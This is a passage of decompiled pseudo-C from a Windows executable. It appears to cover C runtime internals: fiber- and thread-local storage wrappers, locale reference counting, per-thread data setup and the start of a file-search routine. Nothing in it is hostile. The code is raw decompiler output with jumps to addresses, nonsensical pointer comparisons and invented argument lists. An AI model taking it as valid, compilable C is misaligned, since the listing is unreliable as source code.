eax8 = reinterpret_cast<void**>(GetLastError());
if (!reinterpret_cast<int1_t>(eax8 == 87)) {
esi6 = reinterpret_cast<void**>(0);
} else {
eax8 = reinterpret_cast<void**>(LoadLibraryExW(ebx4, esi6, esi6));
esi6 = eax8;
}
if (esi6)
goto addr_4061fc_3; else
goto addr_4061f3_9;
}
} else {
eax9 = *edi3 + 1;
eax10 = -reinterpret_cast<unsigned char>(eax9);
eax11 = reinterpret_cast<void**>(eax10 - (eax10 + reinterpret_cast<uint1_t>(eax10 <
eax10 + reinterpret_cast<uint1_t>(!!eax9))) & reinterpret_cast<unsigned char>(*edi3));
goto addr_40620f_11;
}
eax11 = esi6;
addr_40620d_13:
addr_40620f_11:
return eax11;
addr_4061f3_9:
*edi3 = reinterpret_cast<void**>(0xffffffff);
eax11 = reinterpret_cast<void**>(0);
goto addr_40620d_13;
}

int32_t g416ec0;

signed char fun_40652f(void** ecx, void** a2, void** a3, void** a4) {
void*** ebp5;
void** v6;
uint32_t eax7;
void** v8;
int32_t ecx9;
 void** esi10;
void** eax11;
void* v12;
int32_t eax13;
void** ebp14;
void** eax15;

ebp5 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);

v6 = ecx;
eax7 = g416004;
v8 = reinterpret_cast<void**>(eax7 ^ reinterpret_cast<uint32_t>(ebp5));
ecx9 = g416ec0;
if (!ecx9) {
eax11 = fun_4060fb(8, "GetCurrentPackageId", 0x40f524, "GetCurrentPackageId", esi10);
if (!eax11 || (v6 = reinterpret_cast<void**>(0), v12 = reinterpret_cast<void*>(ebp5 - 8),
image_base_(eax11, v12, 0), eax13 = reinterpret_cast<int32_t>(eax11(eax11, v12, 0)), eax13 !=
0x7a)) {
g416ec0 = 2;
} else {
g416ec0 = 1;
}
}
eax15 = fun_402f62(reinterpret_cast<unsigned char>(v8) ^ reinterpret_cast<uint32_t>(ebp5),
v6, v8, ebp14, __return_address(), a2, a3, a4);
return *reinterpret_cast<signed char*>(&eax15);
}

struct s26 {
signed char[8] pad8;
void*** f8;
};

struct s27 {
signed char[12] pad12;
void** fc;
};

void** fun_406913(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6);

void fun_406630(void** ecx);

void fun_4065ec(void** ecx, void** a2, void* a3, void* a4, int32_t a5, int32_t a6) {
void** v7;
struct s26* ebp8;
 int32_t ebp9;
void** ecx10;
struct s27* ebp11;
void** v12;
void** v13;
int32_t ebp14;

fun_4038a0(ecx, 0x414988, 8, __return_address());

v7 = *ebp8->f8;
fun_407a92(ecx, v7);
*reinterpret_cast<uint32_t*>(ebp9 - 4) = 0;
ecx10 = ebp11->fc;
v12 = *reinterpret_cast<void***>(*reinterpret_cast<void***>(*reinterpret_cast<void***>(ecx10
+ 4)));
v13 = *reinterpret_cast<void***>(*reinterpret_cast<void***>(ecx10));
fun_406913(ecx10, v13, v12, 0x414988, 8, __return_address());
*reinterpret_cast<int32_t*>(ebp14 - 4) = -2;
fun_406630(v12);
fun_4038f0(v12, 0x414988, 8, __return_address(), a2);
goto 0x414988;
}

void fun_406730(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void* a13);

void fun_406780(void** ecx, int32_t a2, void* a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void* a15);

void fun_40686a(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12) {
void** v13;
void** ebp14;
void*** ebp15;
void** v16;
void** eax17;
void** ecx18;
void** v19;
void** v20;
void** v21;
void** v22;
void** v23;
void** v24;
void** v25;
void** v26;
 void** v27;
void** v28;

v13 = ebp14;
ebp15 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);
v16 = ecx;
eax17 = a2;
ecx18 = *reinterpret_cast<void***>(eax17);
if (ecx18 != 0x40ece8) {
fun_406c46(ecx18, ecx18, v16, v13, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9,
a10, a11, a12);
eax17 = a2;
ecx18 = ecx18;
}
v19 = *reinterpret_cast<void***>(eax17 + 60);
fun_406c46(ecx18, v19, v16, v13, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9, a10,
a11, a12);
v20 = *reinterpret_cast<void***>(a2 + 48);
fun_406c46(ecx18, v20, v19, v16, v13, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9,
a10, a11);
v21 = *reinterpret_cast<void***>(a2 + 52);
fun_406c46(ecx18, v21, v20, v19, v16, v13, __return_address(), a2, a3, a4, a5, a6, a7, a8,
a9, a10);
v22 = *reinterpret_cast<void***>(a2 + 56);
fun_406c46(ecx18, v22, v21, v20, v19, v16, v13, __return_address(), a2, a3, a4, a5, a6, a7,
a8, a9);
v23 = *reinterpret_cast<void***>(a2 + 40);
fun_406c46(ecx18, v23, v22, v21, v20, v19, v16, v13, __return_address(), a2, a3, a4, a5, a6,
a7, a8);
v24 = *reinterpret_cast<void***>(a2 + 44);
fun_406c46(ecx18, v24, v23, v22, v21, v20, v19, v16, v13, __return_address(), a2, a3, a4,
a5, a6, a7);
v25 = *reinterpret_cast<void***>(a2 + 64);
fun_406c46(ecx18, v25, v24, v23, v22, v21, v20, v19, v16, v13, __return_address(), a2, a3,
a4, a5, a6);
v26 = *reinterpret_cast<void***>(a2 + 68);
fun_406c46(ecx18, v26, v25, v24, v23, v22, v21, v20, v19, v16, v13, __return_address(), a2,
a3, a4, a5);
v27 = *reinterpret_cast<void***>(a2 + 0x360);
fun_406c46(ecx18, v27, v26, v25, v24, v23, v22, v21, v20, v19, v16, v13, __return_address(),
a2, a3, a4);
v28 = reinterpret_cast<void**>(ebp15 + 0xfffffffc);
fun_406730(ecx18, 5, v28, v27, v26, v25, v24, v23, v22, v21, v20, v19, ebp15 + 8);
 fun_406780(ecx18, 4, ebp15 - 4, 5, v28, v27, v26, v25, v24, v23, v22, v21, v20, v19, ebp15 +
8);
return;
}

void fun_40663c(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12);

void fun_406730(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void* a13) {
void*** ebp14;
void** v15;
void** ebp16;

ebp14 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);

fun_40663c(ebp14 + 0xffffffff, ebp14 + 0xfffffff4, a3, ebp14 + 0xfffffff8, a2, a2, v15, ebp16,
__return_address(), a2, a3, a4);
return;
}

void fun_40669d(void** ecx, void** a2, void* a3, void* a4, int32_t a5, int32_t a6);

void fun_406780(void** ecx, int32_t a2, void* a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void* a15) {
void* ebp16;

ebp16 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);

fun_40669d(reinterpret_cast<int32_t>(ebp16) + 0xffffffff, reinterpret_cast<int32_t>(ebp16) +
0xfffffff4, a3, reinterpret_cast<int32_t>(ebp16) - 8, a2, a2);
return;
}

void** g417244;

void** fun_406913(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6) {
void** v7;
int1_t zf8;
void** v9;
void** esi10;
void** ebp11;
void** eax12;

if (*reinterpret_cast<void***>(a2 + 76) && ((v7 = *reinterpret_cast<void***>(a2 + 76),

fun_408630(ecx, v7), ecx = v7, zf8 = *reinterpret_cast<void***>(a2 + 76) == g417244, !zf8) &&
(*reinterpret_cast<void***>(a2 + 76) != 0x416580 &&
!*reinterpret_cast<void***>(*reinterpret_cast<void***>(a2 + 76) + 12)))) {
v9 = *reinterpret_cast<void***>(a2 + 76);
fun_408464(ecx, v9, esi10, ebp11, __return_address(), a2, a3, a4, a5);
ecx = v9;
}
eax12 = a3;
*reinterpret_cast<void***>(a2 + 76) = eax12;
if (eax12) {
eax12 = fun_4083e7(ecx, eax12);
}
return eax12;
}

void** fun_408607(void** a1);

void** fun_408630(void** ecx, void** a2) {

void** eax3;
void*** ecx4;
int32_t esi5;
void** v6;

eax3 = a2;
if (eax3) {
*reinterpret_cast<void***>(eax3 + 12) = *reinterpret_cast<void***>(eax3 + 12) - 1;
if (*reinterpret_cast<void***>(eax3 + 0x7c)) {
*reinterpret_cast<void***>(*reinterpret_cast<void***>(eax3 + 0x7c)) =
*reinterpret_cast<void***>(*reinterpret_cast<void***>(eax3 + 0x7c)) - 1;
}
if (*reinterpret_cast<void***>(eax3 + 0x84)) {
*reinterpret_cast<void***>(*reinterpret_cast<void***>(eax3 + 0x84)) =
*reinterpret_cast<void***>(*reinterpret_cast<void***>(eax3 + 0x84)) - 1;
}
if (*reinterpret_cast<void***>(eax3 + 0x80)) {
*reinterpret_cast<void***>(*reinterpret_cast<void***>(eax3 + 0x80)) =
*reinterpret_cast<void***>(*reinterpret_cast<void***>(eax3 + 0x80)) - 1;
}
if (*reinterpret_cast<void***>(eax3 + 0x8c)) {
*reinterpret_cast<void***>(*reinterpret_cast<void***>(eax3 + 0x8c)) =
*reinterpret_cast<void***>(*reinterpret_cast<void***>(eax3 + 0x8c)) - 1;
}
ecx4 = reinterpret_cast<void***>(eax3 + 40);
esi5 = 6;
do {
 if (*reinterpret_cast<int32_t*>(ecx4 - 8) != "C" && *ecx4) {
*reinterpret_cast<void***>(*ecx4) = *reinterpret_cast<void***>(*ecx4) - 1;
}
if (*reinterpret_cast<int32_t*>(ecx4 - 12) && *(ecx4 - 4)) {
*reinterpret_cast<void***>(*(ecx4 - 4)) = *reinterpret_cast<void***>(*(ecx4 - 4)) - 1;
}
ecx4 = ecx4 + 16;
--esi5;
} while (esi5);
v6 = *reinterpret_cast<void***>(eax3 + 0x9c);
eax3 = fun_408607(v6);
}
return eax3;
}

void** fun_407f90(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12);

void** fun_40808e(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12);

void** fun_4085d7(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11);

void** fun_408464(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9) {
void** v10;
void** v11;
void** ebp12;
void** v13;
void** v14;
void** ebx15;
void** v16;
void** esi17;
void** esi18;
void** v19;
void** edi20;
void** v21;
void** v22;
void** v23;
void** v24;
void** v25;
void** v26;
void** v27;
 void** v28;
void** v29;
void** v30;
void** v31;
void** ecx32;
void** eax33;
void*** ebx34;
void** v35;
void*** edi36;
void** v37;
void** v38;
void** v39;
void** eax40;

v10 = reinterpret_cast<void**>(__return_address());
v11 = ebp12;
v13 = ecx;
v14 = ebx15;
v16 = esi17;
esi18 = a2;
v19 = edi20;
if (*reinterpret_cast<void***>(esi18 + 0x88) && (*reinterpret_cast<void***>(esi18 + 0x88) !=
"DfA" && (*reinterpret_cast<void***>(esi18 + 0x7c) &&
!*reinterpret_cast<void***>(*reinterpret_cast<void***>(esi18 + 0x7c))))) {
if (*reinterpret_cast<void***>(esi18 + 0x84) &&
!*reinterpret_cast<void***>(*reinterpret_cast<void***>(esi18 + 0x84))) {
v21 = *reinterpret_cast<void***>(esi18 + 0x84);
fun_406c46(ecx, v21, v19, v16, v14, v13, v11, v10, a2, a3, a4, a5, a6, a7, a8, a9);
v22 = *reinterpret_cast<void***>(esi18 + 0x88);
fun_407f90(ecx, v22, v21, v19, v16, v14, v13, v11, v10, a2, a3, a4);
ecx = v21;
}
if (*reinterpret_cast<void***>(esi18 + 0x80) &&
!*reinterpret_cast<void***>(*reinterpret_cast<void***>(esi18 + 0x80))) {
v23 = *reinterpret_cast<void***>(esi18 + 0x80);
fun_406c46(ecx, v23, v19, v16, v14, v13, v11, v10, a2, a3, a4, a5, a6, a7, a8, a9);
v24 = *reinterpret_cast<void***>(esi18 + 0x88);
fun_40808e(ecx, v24, v23, v19, v16, v14, v13, v11, v10, a2, a3, a4);
ecx = v23;
}
v25 = *reinterpret_cast<void***>(esi18 + 0x7c);
fun_406c46(ecx, v25, v19, v16, v14, v13, v11, v10, a2, a3, a4, a5, a6, a7, a8, a9);
v26 = *reinterpret_cast<void***>(esi18 + 0x88);
fun_406c46(ecx, v26, v25, v19, v16, v14, v13, v11, v10, a2, a3, a4, a5, a6, a7, a8);
 ecx = v25;
}
if (*reinterpret_cast<void***>(esi18 + 0x8c) &&
!*reinterpret_cast<void***>(*reinterpret_cast<void***>(esi18 + 0x8c))) {
v27 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(*reinterpret_cast<void**>(esi18 +
0x90)) - 0xfe);
fun_406c46(ecx, v27, v19, v16, v14, v13, v11, v10, a2, a3, a4, a5, a6, a7, a8, a9);
v28 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(*reinterpret_cast<void**>(esi18 +
0x94)) - 0x80);
fun_406c46(ecx, v28, v27, v19, v16, v14, v13, v11, v10, a2, a3, a4, a5, a6, a7, a8);
v29 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(*reinterpret_cast<void**>(esi18 +
0x98)) - 0x80);
fun_406c46(ecx, v29, v28, v27, v19, v16, v14, v13, v11, v10, a2, a3, a4, a5, a6, a7);
v30 = *reinterpret_cast<void***>(esi18 + 0x8c);
fun_406c46(ecx, v30, v29, v28, v27, v19, v16, v14, v13, v11, v10, a2, a3, a4, a5, a6);
}
v31 = *reinterpret_cast<void***>(esi18 + 0x9c);
fun_4085d7(ecx, v31, v19, v16, v14, v13, v11, v10, a2, a3, a4);
ecx32 = v31;
eax33 = reinterpret_cast<void**>(6);
ebx34 = reinterpret_cast<void***>(esi18 + 0xa0);
v35 = reinterpret_cast<void**>(6);
edi36 = reinterpret_cast<void***>(esi18 + 40);
do {
if (*reinterpret_cast<int32_t*>(edi36 - 8) != "C") {
if (*edi36 && !*reinterpret_cast<void***>(*edi36)) {
v37 = *edi36;
fun_406c46(ecx32, v37, v19, v16, v14, v35, v11, v10, a2, a3, a4, a5, a6, a7, a8, a9);
v38 = *ebx34;
fun_406c46(ecx32, v38, v37, v19, v16, v14, v35, v11, v10, a2, a3, a4, a5, a6, a7, a8);
ecx32 = v37;
}
eax33 = v35;
}
if (*reinterpret_cast<int32_t*>(edi36 - 12)) {
if (*(edi36 - 4) && !*reinterpret_cast<void***>(*(edi36 - 4))) {
v39 = *(edi36 - 4);
fun_406c46(ecx32, v39, v19, v16, v14, v35, v11, v10, a2, a3, a4, a5, a6, a7, a8, a9);
ecx32 = v39;
}
eax33 = v35;
}
ebx34 = ebx34 + 4;
edi36 = edi36 + 16;
 --eax33;
v35 = eax33;
} while (eax33);
eax40 = fun_406c46(ecx32, esi18, v19, v16, v14, v35, v11, v10, a2, a3, a4, a5, a6, a7, a8,
a9);
return eax40;
}

void** fun_4085ae(void** a1);

void** fun_4083e7(void** ecx, void** a2) {

void** eax3;
void*** ecx4;
int32_t esi5;
void** v6;
void** eax7;

eax3 = a2;
*reinterpret_cast<void***>(eax3 + 12) = *reinterpret_cast<void***>(eax3 + 12) + 1;
if (*reinterpret_cast<void***>(eax3 + 0x7c)) {
*reinterpret_cast<void***>(*reinterpret_cast<void***>(eax3 + 0x7c)) =
*reinterpret_cast<void***>(*reinterpret_cast<void***>(eax3 + 0x7c)) + 1;
}
if (*reinterpret_cast<void***>(eax3 + 0x84)) {
*reinterpret_cast<void***>(*reinterpret_cast<void***>(eax3 + 0x84)) =
*reinterpret_cast<void***>(*reinterpret_cast<void***>(eax3 + 0x84)) + 1;
}
if (*reinterpret_cast<void***>(eax3 + 0x80)) {
*reinterpret_cast<void***>(*reinterpret_cast<void***>(eax3 + 0x80)) =
*reinterpret_cast<void***>(*reinterpret_cast<void***>(eax3 + 0x80)) + 1;
}
if (*reinterpret_cast<void***>(eax3 + 0x8c)) {
*reinterpret_cast<void***>(*reinterpret_cast<void***>(eax3 + 0x8c)) =
*reinterpret_cast<void***>(*reinterpret_cast<void***>(eax3 + 0x8c)) + 1;
}
ecx4 = reinterpret_cast<void***>(eax3 + 40);
esi5 = 6;
do {
if (*reinterpret_cast<int32_t*>(ecx4 - 8) != "C" && *ecx4) {
*reinterpret_cast<void***>(*ecx4) = *reinterpret_cast<void***>(*ecx4) + 1;
}
if (*reinterpret_cast<int32_t*>(ecx4 - 12) && *(ecx4 - 4)) {
*reinterpret_cast<void***>(*(ecx4 - 4)) = *reinterpret_cast<void***>(*(ecx4 - 4)) + 1;
}
 ecx4 = ecx4 + 16;
--esi5;
} while (esi5);
v6 = *reinterpret_cast<void***>(eax3 + 0x9c);
eax7 = fun_4085ae(v6);
return eax7;
}

void** g416058 = reinterpret_cast<void**>(0xff);

void** fun_4062be(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6);

void** fun_406314(void** ecx, void** a2, void** a3);

void fun_4067d0(void** ecx, void** a2, int32_t a3);

void** fun_40695e(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12) {
void** v13;
void** esi14;
void** eax15;
void** eax16;
void** edi17;
void** eax18;
void** eax19;
void** v20;
void** eax21;
void** v22;
void** v23;
void** eax24;
void** ebx25;
void** eax26;
void** eax27;
void** v28;
void** eax29;
void** v30;
void** v31;

v13 = esi14;
eax15 = reinterpret_cast<void**>(GetLastError());
eax16 = g416058;
if (eax16 == 0xffffffff)
goto addr_406980_2;
eax18 = fun_4062be(ecx, eax16, edi17, v13, __return_address(), a2);
 if (eax18)
goto addr_4069c9_4;
addr_406980_2:
eax19 = fun_406be9(ecx, 1, 0x364, edi17, v13, __return_address(), a2, a3);
ecx = reinterpret_cast<void**>(0x364);
if (eax19) {
v20 = g416058;
eax21 = fun_406314(0x364, v20, eax19);
if (eax21) {
fun_4067d0(0x364, eax19, 0x417244);
fun_406c46(0x364, 0, eax19, 0x7244, edi17, v13, __return_address(), a2, a3, a4, a5,
a6, a7, a8, a9, a10);
if (!eax19) {
addr_4069d5_7:
v22 = eax15;
SetLastError(ecx, v22);
fun_405ccd(ecx, v22, edi17, v13, __return_address(), a2, a3);
} else {
addr_4069c9_4:
SetLastError(ecx);
goto v13;
}
v23 = eax15;
GetLastError(ecx);
eax24 = g416058;
if (eax24 == 0xffffffff)
goto addr_406a07_9;
eax26 = fun_4062be(ecx, eax24, eax19, v23, ebx25, v22);
if (eax26)
goto addr_406a58_11;
addr_406a07_9:
eax27 = fun_406be9(ecx, 1, 0x364, eax19, v23, ebx25, v22, edi17);
ecx = reinterpret_cast<void**>(0x364);
if (eax27) {
v28 = g416058;
eax29 = fun_406314(0x364, v28, eax27);
if (eax29) {
fun_4067d0(0x364, eax27, 0x417244);
fun_406c46(0x364, 0, eax27, 0x7244, eax19, v23, ebx25, v22, edi17, v13,
__return_address(), a2, a3, a4, a5, a6);
if (eax27) {
addr_406a58_11:
SetLastError(ecx);
} else {
 addr_406a4f_14:
SetLastError(ecx);
}
goto ebx25;
} else {
v30 = eax27;
}
} else {
v30 = reinterpret_cast<void**>(0);
}
fun_406c46(0x364, v30, eax19, v23, ebx25, v22, edi17, v13, __return_address(), a2, a3,
a4, a5, a6, a7, a8);
ecx = v30;
goto addr_406a4f_14;
} else {
v31 = eax19;
}
} else {
v31 = eax19;
}
fun_406c46(0x364, v31, edi17, v13, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9, a10,
a11, a12);
ecx = v31;
goto addr_4069d5_7;
}

int32_t TlsGetValue = 0x153be;

void** fun_4062be(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6) {
void*** ebp7;
uint32_t eax8;
void** v9;
void** esi10;
void** eax11;
void** ebp12;
void** eax13;

ebp7 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);

eax8 = g416004;
v9 = reinterpret_cast<void**>(eax8 ^ reinterpret_cast<uint32_t>(ebp7));
eax11 = fun_4060fb(5, "FlsGetValue", 0x40f4fc, "FlsGetValue", esi10);
if (!eax11) {
TlsGetValue();
} else {
 image_base_(eax11);
eax11(eax11);
}
eax13 = fun_402f62(reinterpret_cast<unsigned char>(v9) ^ reinterpret_cast<uint32_t>(ebp7),
esi10, v9, ebp12, __return_address(), a2, a3, a4);
return eax13;
}

void** fun_406268(void** ecx, void** a2, void** a3, void** a4);

void** fun_406a93(void** ecx, void** a2) {

void** eax3;

eax3 = g416058;
if (eax3 != 0xffffffff) {
eax3 = fun_406268(ecx, eax3, __return_address(), a2);
g416058 = reinterpret_cast<void**>(0xffffffff);
}
*reinterpret_cast<signed char*>(&eax3) = 1;
return eax3;
}

void** fun_406268(void** ecx, void** a2, void** a3, void** a4) {

void*** ebp5;
uint32_t eax6;
void** v7;
void** esi8;
void** eax9;
void** ebp10;
void** eax11;

ebp5 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);

eax6 = g416004;
v7 = reinterpret_cast<void**>(eax6 ^ reinterpret_cast<uint32_t>(ebp5));
eax9 = fun_4060fb(4, "FlsFree", 0x40f4ec, "FlsFree", esi8);
if (!eax9) {
TlsFree();
} else {
image_base_(eax9);
eax9(eax9);
}
eax11 = fun_402f62(reinterpret_cast<unsigned char>(v7) ^ reinterpret_cast<uint32_t>(ebp5),
esi8, v7, ebp10, __return_address(), a2, a3, a4);
return eax11;
}

int32_t fun_408933(void** ecx, void** a2);

void** fun_4088ef(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6) {
void*** ebp7;
uint32_t eax8;
void** v9;
void** esi10;
int32_t eax11;
int32_t eax12;
void** ebp13;
void** eax14;

ebp7 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);

eax8 = g416004;
v9 = reinterpret_cast<void**>(eax8 ^ reinterpret_cast<uint32_t>(ebp7));
eax11 = fun_408933(ecx, esi10);
if (!eax11 || (image_base_(eax11), eax12 = reinterpret_cast<int32_t>(eax11(eax11)), eax12
== 0)) {
}
eax14 = fun_402f62(reinterpret_cast<unsigned char>(v9) ^ reinterpret_cast<uint32_t>(ebp7),
v9, ebp13, __return_address(), a2, a3, a4, a5);
return eax14;
}

void** fun_408265(void** a1, void** a2) {

void** eax3;
void** esi4;
uint32_t edi5;
void** ecx6;
uint32_t ebx7;
uint32_t edx8;

eax3 = a1;
if (!*reinterpret_cast<void***>(eax3)) {
addr_4082a3_2:
eax3 = reinterpret_cast<void**>(0);
} else {
esi4 = a2;
edi5 = reinterpret_cast<uint16_t>(*reinterpret_cast<void***>(esi4));
do {
ecx6 = esi4;
if (*reinterpret_cast<int16_t*>(&edi5)) {
 ebx7 = reinterpret_cast<uint16_t>(*reinterpret_cast<void***>(eax3));
edx8 = edi5;
do {
if (*reinterpret_cast<int16_t*>(&edx8) == *reinterpret_cast<int16_t*>(&ebx7))
goto addr_4082a5_7;
ecx6 = ecx6 + 2;
edx8 = reinterpret_cast<uint16_t>(*reinterpret_cast<void***>(ecx6));
} while (*reinterpret_cast<int16_t*>(&edx8));
}
eax3 = eax3 + 2;
} while (*reinterpret_cast<void***>(eax3));
goto addr_4082a3_2;
}
addr_4082a5_7:
return eax3;
}

void** fun_406bde(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6);

void** fun_4070de(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19, void** a20, void** a21, void** a22);

int32_t FindFirstFileExW = 0x15498;

int32_t g4;

int32_t FindNextFileW = 0x14eee;

int32_t FindClose = 0x14efe;

void** fun_4095c0(void** a1, void* a2, void** a3, void** a4, int32_t a5, void* a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12);

int32_t fun_406c80(uint32_t a1, uint32_t a2);

void** fun_406e65(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, ...) {
void** v16;
void** v17;
void** ebp18;
void** ecx19;
void** v20;
void** ebx21;
void*** esp22;
void** v23;
void** edi24;
void** edx25;
void** ecx26;
void** v27;
void** v28;
void** esi29;
void** ebx30;
void** eax31;
void* esp32;
void** eax33;
void** eax34;
void* ebp35;
uint32_t eax36;
uint32_t v37;
void** ecx38;
void** v39;
void** v40;
void** v41;
void** v42;
uint32_t eax43;
uint32_t esi44;
void** eax45;
void** eax46;
uint32_t eax47;
int32_t eax48;
uint32_t eax49;
void** ecx50;
uint32_t eax51;
void** v52;
void** v53;
void** v54;
void** v55;
void** v56;
void** v57;
void** v58;
void** v59;
void** v60;
void** v61;
void** v62;
void** v63;
void** v64;
void** v65;
void** v66;
void** v67;
void** v68;
void** v69;
void** v70;
void** v71;
void** v72;
void** v73;
void** v74;
void** v75;
void** v76;
void** v77;
void** v78;
void** v79;
void** v80;
void** v81;
void** v82;
void** v83;
void** v84;
int32_t eax85;
int32_t esi86;
int32_t eax87;
uint32_t eax88;
void** v89;
int16_t v90;
int16_t v91;
int16_t v92;
int16_t v93;
void** eax94;
void* v95;
int32_t eax96;
void** v97;
void** v98;
void** v99;
void** v100;
void** v101;
void** edx102;
int32_t eax103;
void** eax104;
void** v105;
void** v106;
void** v107;
void** v108;
void** v109;
 v16 = reinterpret_cast<void**>(__return_address());
v17 = ebp18;
ecx19 = a2;
v20 = ebx21;
esp22 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4 - 4 - 4
- 4);
v23 = edi24;
edx25 = ecx19 + 2;
do {
ecx19 = ecx19 + 2;
} while (*reinterpret_cast<void***>(ecx19));
ecx26 = reinterpret_cast<void**>((reinterpret_cast<int32_t>(reinterpret_cast<unsigned
char>(ecx19) - reinterpret_cast<unsigned char>(edx25)) >> 1) + 1);
v27 = ecx26;
if (reinterpret_cast<unsigned char>(ecx26) <= reinterpret_cast<unsigned char>(-1 -
reinterpret_cast<unsigned char>(a4))) {
v28 = esi29;
ebx30 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(a4 + 1) +
reinterpret_cast<unsigned char>(ecx26));
eax31 = fun_406be9(ecx26, ebx30, 2, v28, v23, v20, v27, v17);
esp32 = reinterpret_cast<void*>(esp22 - 4 - 4 - 4 - 4 + 4 + 4 + 4);
if (a4 && (eax33 = fun_406bde(2, eax31, ebx30, a3, a4, v28), esp32 =
reinterpret_cast<void*>(reinterpret_cast<int32_t>(esp32) - 4 - 4 - 4 - 4 - 4 + 4 + 16), !!eax33) ||
(ebx30 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ebx30) -
reinterpret_cast<unsigned char>(a4)), eax34 = fun_406bde(2, eax31 +
reinterpret_cast<unsigned char>(a4) * 2, ebx30, a2, v27, v28), esp32 =
reinterpret_cast<void*>(reinterpret_cast<int32_t>(esp32) - 4 - 4 - 4 - 4 - 4 + 4 + 16), !!eax34)) {
fun_40603c(2, 0, 0, 0, 0, 0);
ebp35 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(esp32) - 4 - 4 - 4 - 4 - 4 - 4 +
4 - 4);
eax36 = g416004;
v37 = eax36 ^ reinterpret_cast<uint32_t>(ebp35);
ecx38 = reinterpret_cast<void**>(0);
v39 = ebx30;
v40 = eax31;
v41 = a4;
v42 = reinterpret_cast<void**>(47);
while (ecx38 && ((eax43 =
reinterpret_cast<uint16_t>(*reinterpret_cast<void***>(ecx38)),
*reinterpret_cast<int16_t*>(&eax43) != 47) && (*reinterpret_cast<int16_t*>(&eax43) != 92 &&
*reinterpret_cast<int16_t*>(&eax43) != 58))) {
ecx38 = ecx38 - 2;
}
 esi44 = reinterpret_cast<uint16_t>(*reinterpret_cast<void***>(ecx38));
if (*reinterpret_cast<int16_t*>(&esi44) != 58)
goto addr_406f7b_10;
if (ecx38 != 2)
goto addr_406f68_12;
} else {
eax45 = fun_4070de(a5, eax31, v28, v23, v20, v27, v17, v16, a2, a3, a4, a5, a6, a7, a8,
a9, a10, a11, a12, a13, a14, a15);
fun_406c46(a5, 0, v28, v23, v20, v27, v17, v16, a2, a3, a4, a5, a6, a7, a8, a9);
eax46 = eax45;
goto addr_406ef0_14;
}
} else {
eax46 = reinterpret_cast<void**>(12);
goto addr_406ef0_14;
}
addr_406f7b_10:
eax47 = esi44;
if (*reinterpret_cast<int16_t*>(&eax47) == 47 || (*reinterpret_cast<int16_t*>(&eax47) == 92 ||
*reinterpret_cast<int16_t*>(&eax47) == 58)) {
eax48 = 1;
} else {
eax48 = 0;
}
eax49 = *reinterpret_cast<unsigned char*>(&eax48);
ecx50 = reinterpret_cast<void**>((reinterpret_cast<signed
char>(static_cast<uint32_t>(reinterpret_cast<unsigned char>(ecx38))) >> 1) + 1);
eax51 = -eax49;
v42 = reinterpret_cast<void**>(eax51 - (eax51 + reinterpret_cast<uint1_t>(eax51 < eax51 +
reinterpret_cast<uint1_t>(!!eax49))) & reinterpret_cast<unsigned char>(ecx50));
fun_403de0(ecx50, reinterpret_cast<uint32_t>(ebp35) + 0xfffffdac, 0, 0x250, v41, v40, v39,
v52, v42, 0, v53, v54, v55, v56, v57, v58, v59, v60, v61, v62, v63, v64, v65, v66, v67, v68, v69,
v70, v71, v72, v73, v74, v75, v76, v77, v78, v79, v80, v81, v82, v83);
v84 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(ebp35) + 0xfffffdac);
eax85 = reinterpret_cast<int32_t>(FindFirstFileExW(0, 0, v84, 0, 0, 0));
esi86 = eax85;
if (esi86 != -1) {
